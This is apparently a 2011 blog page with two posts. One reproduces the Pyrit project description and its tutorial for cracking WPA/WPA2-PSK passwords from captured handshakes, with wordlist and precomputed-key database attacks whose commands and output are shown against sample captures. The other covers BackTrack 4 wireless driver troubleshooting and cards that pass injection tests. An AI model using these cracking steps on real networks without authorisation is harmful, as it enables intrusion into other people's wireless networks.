Showing posts with label Wireless. Show all posts
Showing posts with label Wireless. Show all posts

Saturday, January 29, 2011

Pyrit Project

Flattr this
Pyrit allows to create massive databases, pre-computing part of the IEEE 802.11 WPA/WPA2-PSK authentication phase in a space-time-tradeoff. Exploiting the computational power of Many-Core- and other platforms through ATI-Stream, Nvidia CUDA, OpenCL and VIA Padlock, it is currently by far the most powerful attack against one of the world's most used security-protocols.
WPA/WPA2-PSK is a subset of IEEE 802.11 WPA/WPA2 that skips the complex task of key distribution and client authentication by assigning every participating party the same pre shared key. This master key is derived from a password which the administrating user has to pre-configure e.g. on his laptop and the Access Point. When the laptop creates a connection to the Access Point, a new session key is derived from the master key to encrypt and authenticate following traffic. The "shortcut" of using a single master key instead of per-user keys eases deployment of WPA/WPA2-protected networks for home- and small-office-use at the cost of making the protocol vulnerable to brute-force-attacks against it's key negotiation phase; it allows to ultimately reveal the password that protects the network. This vulnerability has to be considered exceptionally disastrous as the protocol allows much of the key derivation to be pre-computed, making simple brute-force-attacks even more alluring to the attacker. For more background see this article on the project's blog.
The author does not encourage or support using Pyrit for the infringement of peoples' communication-privacy. The exploration and realization of the technology discussed here motivate as a purpose of their own; this is documented by the open development, strictly sourcecode-based distribution and 'copyleft'-licensing.
Pyrit is free software - free as in freedom. Everyone can inspect, copy or modify it and share derived work under the GNU General Public License v3+. It compiles and executes on a wide variety of platforms including FreeBSD, MacOS X and Linux as operation-system and x86-, alpha-, arm-, hppa-, mips-, powerpc-, s390 and sparc-processors.
Attacking WPA/WPA2 by brute-force boils down to to computing Pairwise Master Keys as fast as possible. Every Pairwise Master Key is 'worth' exactly one megabyte of data getting pushed through PBKDF2-HMAC-SHA1. In turn, computing 10.000 PMKs per second is equivalent to hashing 9,8 gigabyte of data with SHA1 in one second. The following graph shows various performance numbers measured on platforms supported by Pyrit.

The following graph shows an example of multiple computational nodes accessing a single storage server over various ways provided by Pyrit:
  • A single storage (e.g. a MySQL-server)
  • A local network that can access the storage-server directly and provide four computational nodes on various levels with only one node actually accessing the storage server itself.
  • Another, untrusted network can access the storage through Pyrit's RPC-interface and provides three computional nodes, two of which actually access the RPC-interface.

What's new

See http://pyrit.wordpress.com

How to use

Pyrit compiles and runs fine on Linux, MacOS X and BSD. I don't care about Windows; drop me a line (read: patch) if you make Pyrit work without copying half of GNU ...
A guide for installing Pyrit on your system can be found in the wiki. There is also a Tutorial and a reference manual for the commandline-client.

How to participate

You may want to read this wiki-entry if interested in porting Pyrit to new hardware-platform. Contributions or bug reports should be posted on the Issue-tracker. General questions get answered on Pyrit's mailing-list; just send an eMail to pyrit@googlegroups.com or see http://groups.google.com/group/pyrit.

Pyrit tutorial

This document will guide you through your first steps with Pyrit. Before continuing, you should have Pyrit installed and working. See the Installation-Wiki for details. You will also need to have Scapy installed, which should come with your distribution or may be installed from source. Pyrit can use SQLAlchemy to access various kinds of SQL-databases and you'll need to have it installed if you want to try that feature as explained below.
You should also take a look at the manual when new commands get introduced below; more information and details about the features a command provides are given there.
Throughout this tutorial we will refer to files and examples that are distributed together with Pyrit's source-code. Therefore the first step is to get yourself a copy of the source-code tarball, unpack it and switch to the /test-directory:
wget http://pyrit.googlecode.com/files/pyrit-0.3.0.tar.gz
tar xvzf pyrit-0.3.0.tar.gz
cd pyrit-0.3.0/test
You should find three files within this directory that will be of interest for us:
  • dict.gz is a gzip-compressed wordlist
  • wpa2psk-linksys.dump.gz is a gzip-compressed dump of a WPA2-PSK handshake
  • wpapsk-linksys.dump.gz is a gzip-compressed dump a WPA-PSK handshake

First steps with capture-files and wordlists

Pyrit can understand packet capture files in pcap-format. These files basically contain what was captured from the air. Our first meaningful step in this tutorial is to let Pyrit analyze one of the capture files and give us some information about the content.

Analyzing a capture file

Issue to following command to analyze the file wpapsk-linksys.dump.gz:
pyrit -r wpapsk-linksys.dump.gz analyze
Pyrit should answer with output very similar like the following:
Pyrit 0.3.0 (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Parsing file 'wpapsk-linksys.dump.gz' (1/1)...
587 packets (587 802.11-packets), 1 APs
#1: AccessPoint 00:0b:86:c2:a4:85 ('linksys')
  #0: Station 00:13:ce:55:98:ef, handshake found
  #1: Station 01:00:5e:7f:ff:fa
  #2: Station 01:00:5e:00:00:16
Pyrit has successfuly parsed the capture file and found one AccessPoint with BSSID 00:0b:86:c2:a4:85 and ESSID 'linksys' and three Stations communicating with that AccessPoint. The key-negotiation (known as the fourway-handshake) between the Station with MAC 00:13:ce:55:98:ef and the AccessPoint has also been recorded in the capture file. We can use the data from this handshake to guess that password that is used to protect the network.
Please note that Pyrit can transparently read/write gzip-compressed files; this becomes very handy when dealing with large wordlists or cowpatty-files that may take hundrets of megabytes.

Attacking a handshake and revealing the password

We now use the example wordlist dict.gz and let Pyrit guess the password that was used in the key-negotiation between AccessPoint 00:0b:86:c2:a4:85 and Station 00:13:ce:55:98:ef. The correct password should get detected, if it is part of the list. In our terms, this is known as a "passthrough-attack". Issue the following command:
pyrit -r wpapsk-linksys.dump.gz -i dict.gz -b 00:0b:86:c2:a4:85 attack_passthrough
This tells Pyrit to take the capture-file wpapsk-linksys.dump.gz and attack the key-negotiation with AccessPoint 00:0b:86:c2:a4:85 using the dictionary-file dict.gz.
Please note that you do not always have to tell Pyrit which AccessPoint to choose from the capture-file - Pyrit will usually be able to figure that out by itself.
You should get a response very similar to the following:
Pyrit 0.3.0 (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Parsing file 'wpapsk-linksys.dump.gz' (1/1)...
587 packets (587 802.11-packets), 1 APs
Tried 4091 PMKs so far; 935 PMKs per second.
The password is 'dictionary'.
We've successfully revealed that the password used to protect the network 00:0b:86:c2:a4:85 is "dictionary"...

Interlude: Stripping a capture-file from unnecessary cruft

Capture-files are usually simple dumps of the traffic captured directly from the air. For our purpose, we are only interested in a very tiny fraction of the traffic between AccessPoint and Station. Pyrit can help reducing the size of a packet-capture file by analyzing the traffic and throwing away all packets that are of no use for us. We end up with a new, very small capture file that still holds all valuable information and is useable with other tools like Wireshark.
Please note that stripping a capture file is not necessary. It's sole purpose is to make life a little easier when it comes to large capture files.
Our original example has 587 packets and a size of roughly 13kb. Issue the following command:
pyrit -r wpapsk-linksys.dump.gz -o wpapsk-linksys_stripped.dump.gz strip
You should get a response like the following:
Pyrit 0.3.0 (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Parsing file 'wpapsk-linksys.dump.gz' (1/1)...
587 packets (587 802.11-packets), 1 APs
#1: AccessPoint 00:0b:86:c2:a4:85 ('linksys')
  #0: Station 00:13:ce:55:98:ef (1 authentications)
New pcap-file 'wpapsk-linksys_stripped.dump.gz' written (4 out of 587 packets)
The new capture file wpapsk-linksys_stripped.dump.gz has a size of only a few hundred bytes and contains only three from the key-negotiation (used to attack the password) and one beacon-frame (used to detect the network's ESSID).

Working with Pyrit's database

As you may already know, guessing the password used in a WPA(2)-PSK key-negotiation is a computational-intensive task. During this process, more than 99.9% of the CPU-cycles have to be spent to compute what is known as the Pairwise Master Key, a 256-bit key derived from the ESSID and a password using the PBKDF2-HMAC-SHA1-algorithm. One of the major weaknesses of WPA(2)-PSK is that the Pairwise Master Key has no elements that are unique to the moment of the key-negotiation between AccessPoint and Station. It is therefor possible to pre-compute the Pairwise Master Key and store it for later use. In the moment of attacking a key-negotiation, we are left with the remaining 0.1% of what depends on session-unique data. It is therefore extremely valueable for an attacker to pre-compute large tables of Pairwise Master Keys for common ESSIDs.
This is where Pyrit's database kicks in. It can store ESSIDs, passwords and their corresponding Pairwise Master Keys, possibly growing to the size of hundrets of millions of entries. Starting with a fresh installation of Pyrit, your database will most probably be empty. Issue the following command to get an overview:
pyrit eval
Pyrit should respond like this:
Pyrit 0.3.0 (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Connecting to storage at 'file://'...  connected.
Passwords available: 0
Nothing fancy to see here, yet.
Please note the default filesystem-based storage 'file://'. We'll come to SQL-databases later on.

Populating and batch-processing the database

In order to make the database usefull, we'll populate it with passwords from a wordlist. Issue the following command:
pyrit -i dict.gz import_passwords
Pyrit will read the file 'dict.gz' and store the wordlist in it's internal database format. You should get a response like the following:
Pyrit 0.3.0 (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Connecting to storage at 'file://'...  connected.
10202 lines read. Flushing buffers... All done.
Please note that you can add more passwords to the database later on; the command 'import_passwords' ensures that duplicates within the wordlist or between the wordlist and the database are tossed out and not stored again. For now, run the 'eval'-command again to see how the database has been populated with passwords from 'dict.gz'. You should get output similar to this:
Pyrit 0.3.0 (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Connecting to storage at 'file://'...  connected.
Passwords available: 4078
You'll notice that Pyrit has only stored 4,078 out of the 10,202 passwords from the file. Pyrit has automatically filtered passwords that are not suitable for WPA(2)-PSK and also sorted out duplicates. Now that we have some passwords in the database, we have to create an ESSID. Issue the following command:
pyrit -e linksys create_essid
... and you'll get an output like this:
Pyrit 0.3.0 (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Connecting to storage at 'file://'...  connected.
Created ESSID 'linksys'
Run the 'eval'-command again and you'll see that ESSID 'linksys' has been created in the database:
Pyrit 0.3.0 (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Connecting to storage at 'file://'...  connected.
Passwords available: 4078

ESSID 'linksys' : 0 (0.00%)
The database now contains enough information to start batch-processing it. Pyrit will take all (ESSID:password)-combinations, compute the corresponding Pairwise master Keys and store those for later use.
Please note that you can stop Pyrit's batch-processing at any time (with ctrl+c or sending SIGTERM). Pyrit will start at the point where it stopped the next time you start batch-processing. Issue to following command:
pyrit batch
... and watch how Pyrit crunches through the database until it runs out of work:
Pyrit 0.3.0 (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Connecting to storage at 'file://'...  connected.
Working on ESSID 'linksys'
Processed all workunits for ESSID 'linksys'; 1035 PMKs per second.
Batchprocessing done.
You can use the 'eval'-command once more to see that all workunits for ESSID 'linksys' have been computed.

Using the database to attack a handshake

We can now use the Pairwise Master Keys stored in the database to attack the same handshake as in the example above. Instead of running a "passthrough-attack", where the database is not touched at all, we issue a "database-attack" like the following:
pyrit -r wpapsk-linksys.dump.gz attack_db
Please note that we did neither specify the network's ESSID nor it's BSSID.
You should get a response very similar to the following:
Pyrit 0.3.0 (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Connecting to storage at 'file://'...  connected.
Parsing file 'wpapsk-linksys.dump.gz' (1/1)...
587 packets (587 802.11-packets), 1 APs
Picked AccessPoint 00:0b:86:c2:a4:85 ('linksys') automatically.
Attacking handshake with Station 00:13:ce:55:98:ef...
Tried 1639 PMKs so far (39.8%); 1577435 PMKs per second.
The password is 'dictionary'.
Again, the password protecting the network has been revealed.
While our example uses an extremely small wordlist and the performance-numbers are thereby not very reliable, attacking a handshake from a database of pre-computed Pairwise Master Keys will usually crunch through more than one million passwords per second. You can also run a database-attack against the second capture file 'wpa2psk-linksys.dump.gz', which will also take use of the pre-computed Pairwise Master Keys.

Scaling up: Using a SQL-database as storage

Using a SQL-database instead of the filesystem will give you some benefits:
  • Real ACID-compliance, backup- and load-balancing-features.
  • Multiple Pyrit-clients can operate on the same database at the same time over the network.
  • Meta- and binary-data are (possibly) stored independent of each other, making the database easier to query and operate on.
Pyrit uses SQLAlchemy and can therefor use all kinds of SQL-databases for it's internal storage mechanism: SQLite has all the benefits described above (except the network-functionality), MySQL and PostgreSQL require some setup but provide more features and better scaling. Please refer to SQLAlchemy's documentation for more details about supported databases.
Using a database as storage is extremely easy - all you got to do is to provide an alternative connection-string instead of 'file://' that Pyrit uses by default (please refer to the manual for details about the connection-string). In the following example, we use a SQLite-database stored in the single file 'mydb.db':
pyrit -u sqlite:///mydb.db -i dict.gz import_passwords
Please note that we do not have to care about creating the database (in the case of SQLite) or any tables within it. Pyrit will take care of this. You should get an output very similar to this:
Pyrit 0.3.0 (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Connecting to storage at 'sqlite:///mydb.db'...  connected.
10202 lines read. Flushing buffers... All done.
Setting up a MySQL- or PostreSQL-server is beyond the scope of this tutorial. However, after setting up the database-server, creating a (empty) database and providing the necessary credentials, the required steps in Pyrit are the same as above. For example, to use the (already created) database 'pyrit' on a PostgreSQL-server at 192.168.0.7 with user 'pyrit' and no password, your commandline would look something like this:
pyrit -u postgres://pyrit:@192.168.0.7/pyrit -e linksys create_essid
To make life a little easier, you can save the default connection-string in Pyrit's configuration-file at '~/.pyrit/config'. Change the value of the key default_storage to a new connection-string and you won't have to supply it every single time.

Sunday, January 23, 2011

BackTrack 4 Wireless Driver

This driver is considered stable and working with most aircrack-ng attacks and is loaded by default.
  • To manually load the driver
root@bt:~# modprobe rtl8187
  • To manually unload the driver
root@bt:~# rmmod rtl8187
  • To manually unload all the mac80211 stack:
root@bt:~# rmmod mac80211
root@bt:~# rmmod cfg80211
root@bt:~# rmmod rfkill

SIOCSIFFLAGS Unknown error 132

In VMware environments, this driver has a tendency to switch itself off, often resulting in errors such as "rtl8187: wireless radio switch turned off", "ioctl(SIOCSIFFLAGS) failed: Unknown error 132" and "rtl8187 - [phy0]SIOCSIFFLAGS: Unknown error 132" (for the benefit of Google).
  • Plug in your USB wireless card into BackTrack.
  • Wait for a few seconds, and type: dmesg| tail -20
root@bt:~# dmesg |tail -20
lo: Disabled Privacy Extensions
eth0: no IPv6 routers present
usb 1-1: new high speed USB device using ehci_hcd and address 2
cfg80211: Calling CRDA to update world regulatory domain
cfg80211: World regulatory domain updated:
   (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp)
   (2402000 KHz - 2472000 KHz @ 40000 KHz), (300 mBi, 2000 mBm)
   (2457000 KHz - 2482000 KHz @ 20000 KHz), (300 mBi, 2000 mBm)
   (2474000 KHz - 2494000 KHz @ 20000 KHz), (300 mBi, 2000 mBm)
   (5170000 KHz - 5250000 KHz @ 40000 KHz), (300 mBi, 2000 mBm)
   (5735000 KHz - 5835000 KHz @ 40000 KHz), (300 mBi, 2000 mBm)
phy0: Selected rate control algorithm 'minstrel'
phy0: hwaddr 00:c0:ca:38:ab:9d, RTL8187vB (default) V1 + rtl8225z2, rfkill mask 2
rtl8187: Customer ID is 0xFF
Registered led device: rtl8187-phy0::radio
Registered led device: rtl8187-phy0::tx
Registered led device: rtl8187-phy0::rx
rtl8187: wireless switch is on
usbcore: registered new interface driver rtl8187
rtl8187: wireless radio switch turned off
root@bt:~#
  • Notice that rfkill has disabled the wireless card. That's the problem.
  • Use the following commands to force the card into an enabled state:
rmmod rtl8187
rfkill block all
rfkill unblock all
modprobe rtl8187
rfkill unblock all
ifconfig wlan0 up
  • Hopefully, the card should be working normally now. You will need to do this every time you plug in your card.

R8187 (old IEEE driver)

If for some reason the rtl8187 drivers fail to work, you can use the IEEE r8187 legacy driver.
  • Unload the new mac80211 rtl8187 driver and stack if loaded
root@bt:~# rmmod rtl8187
root@bt:~# rmmod mac80211
root@bt:~# rmmod cfg80211
Loot@bt:~# rmmod rfkill
  • load the IEEE r8187 driver
root@bt:~# modprobe r8187

Problems with the r8187 legacy driver


-----------------------------------------------------------------------------------
In some cases, the r8187 driver fails to load with a following dmesg error
Linux kernel driver for RTL8187 based WLAN cards
Copyright (c) 2004-2005, Andrea Merello
rtl8187: Initializing module
rtl8187: Wireless extensions version 22
rtl8187: Initializing proc filesystem
rtl8187: Enabling 14 channels.
rtl8187: MAC chip version: 00
rtl8187: Card type: F1
rtl8187: Reported EEPROM chip is a 93c56 (2Kbit)
rtl8187: Card MAC address is 00:68:04:1e:04:1e
rtl8187: RF Chip ID: 2C
rtl8187: WW:Unknown RF module 2c
rtl8187: WW:Exiting...
rtl8187: Initialization failed
rtl8187: wlan driver load failed
usbcore: registered new interface driver rtl8187
root@bt:~# 
----------------------------------------------------------------
If you get this, VMware hates you, and you're screwed.


Tested and working cards

We were able to test the following cards. Note that "passed" means "passed an aireplay -9" injection test. We will be expanding on this list as more feedback domes form the community. From our testing we found that most major chipsets were supported, as well as the most common cards.

  • AWUS036H (rtl8187, r8187) - both mac80211 and IEEE drivers - passed
  • AWUS036NH (Ralink RT2870/3070) - using the mac80211 rt2x00usb drivers - passed
  • BCM4312 802.11b/g LP-PHY (rev 01) - using the mac80211 b43, works well - passed
  • Rockland N3 - (Ralink RT2870/3070) - using the mac80211 rt2x00usb drivers -passed
  • Edimax EW-7318USG USB - (Ralink RT2501/RT2573) - using the mac80211 rt2500usb/rt73usb drivers -passed
  • ASUSTek Computer, Inc. RT2573 - using the mac80211 rt2500usb/rt73usb drivers -passed
  • Linksys WUSB54GC ver 3 - using the mac80211 rt2800usb drivers -passed
  • Ubiquiti SRC - using the mac80211 ath9k drivers-passed
  • Internal Intel Corporation PRO/Wireless 3945ABG - using the mac80211 iwl3945 drivers-passed
  • Dlink WNA-2330 PCMCIA - using the mac80211 ath5k drivers-passed
  • Atheros Communications Inc. AR9285 Wireless Network Adapter (PCI-Express) (rev 01) - using the mac80211 ath9k drivers-passed
  • Netgear wg111v2 - using the mac80211 rtl8187 drivers-passed
  • ZyXEL AG-225H v2 - using the mac80211 zd1211 drivers - passed
  • Intel 4956/5xxx - using the iwlagn drivers - passed

Working, without injection

  • Broadcom Corporation BCM4321 802.11a/b/g/n (rev 03)
  • Broadcom Corporation BCM4322 802.11a/b/g/n Wireless LAN Controller (rev 01)

NON working cards

  • D-Link DWL-122 - using the mac80211 prism2_usb drivers - fail
  • Linksys WUSB600N v2 - using the mac80211 rt2800usb drivers - fail
  • AWUS051NH - fail